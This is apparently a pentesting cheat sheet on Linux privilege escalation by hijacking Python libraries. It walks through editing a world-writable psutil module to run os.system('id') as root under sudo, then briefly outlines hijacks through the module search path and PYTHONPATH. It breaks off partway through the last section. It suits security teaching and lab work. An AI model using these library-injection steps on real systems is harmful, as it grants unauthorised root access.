Python Library Hijacking

Ways to hijack a python library

  • Wrong write permissions

  • Library path

  • PYTHONPATH environment variable

Wrong Write Permissions

Sample Scenario

  1. Assuming there is a binary that has a SUID set

    $ ls -l mem_status.py
    
    -rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
  2. This means we can read its contents, and execute this file as root. But we can't edit the file.

  3. Reading the file, we can see that it imports the psutil library and it calls the function virtual_memory

    #!/usr/bin/env python3
    import psutil
    
    available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
    
    print(f"Available memory: {round(available_memory, 2)}%")
  4. So we can look for this function in the folder of psutil and check if this module has write permissions for us

    $ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
    
    /usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():
    
    
    $ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
    
    -rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
  5. View the function

    ...SNIP...
    
    def virtual_memory():
    
    	...SNIP...
    	
        global _TOTAL_PHYMEM
        ret = _psplatform.virtual_memory()
        # cached for later use in Process.memory_percent()
        _TOTAL_PHYMEM = ret.total
        return ret
    
    ...SNIP...
  6. Edit the function

    ...SNIP...
    
    def virtual_memory():
    
        ...SNIP...
        #### Hijacking
        import os
        os.system('id')
    	
    
        global _TOTAL_PHYMEM
        ret = _psplatform.virtual_memory()
        # cached for later use in Process.memory_percent()
        _TOTAL_PHYMEM = ret.total
        return ret
    
    ...SNIP...
  7. Run the script with sudo

    $ sudo /usr/bin/python3 ./mem_status.py
    
    uid=0(root) gid=0(root) groups=0(root)
    uid=0(root) gid=0(root) groups=0(root)
    Available memory: 79.22%

Library Path

Sample Exploitation

  1. Check the PYTHONPATH

  2. Two pre-requisites must be satisfied:

    1. The module imported by the script is in lower level priority

    2. We have write permissions on any script that has higher priority

  3. Check default installation and we can see that it is in the lower priority

  4. Check the higher priority PYTHONPATH if we can write there

  5. Since the conditions are satisfied, create a psutil.py on the directory in step4

  6. Run the python file that has the SUID set

PYTHONPATH

If SETENV: is in sudo -l , we can set environment variables under the context of the running program.

Sample Exploitation

  1. Create a psutil.py in any directory (/tmp in this example)

Last updated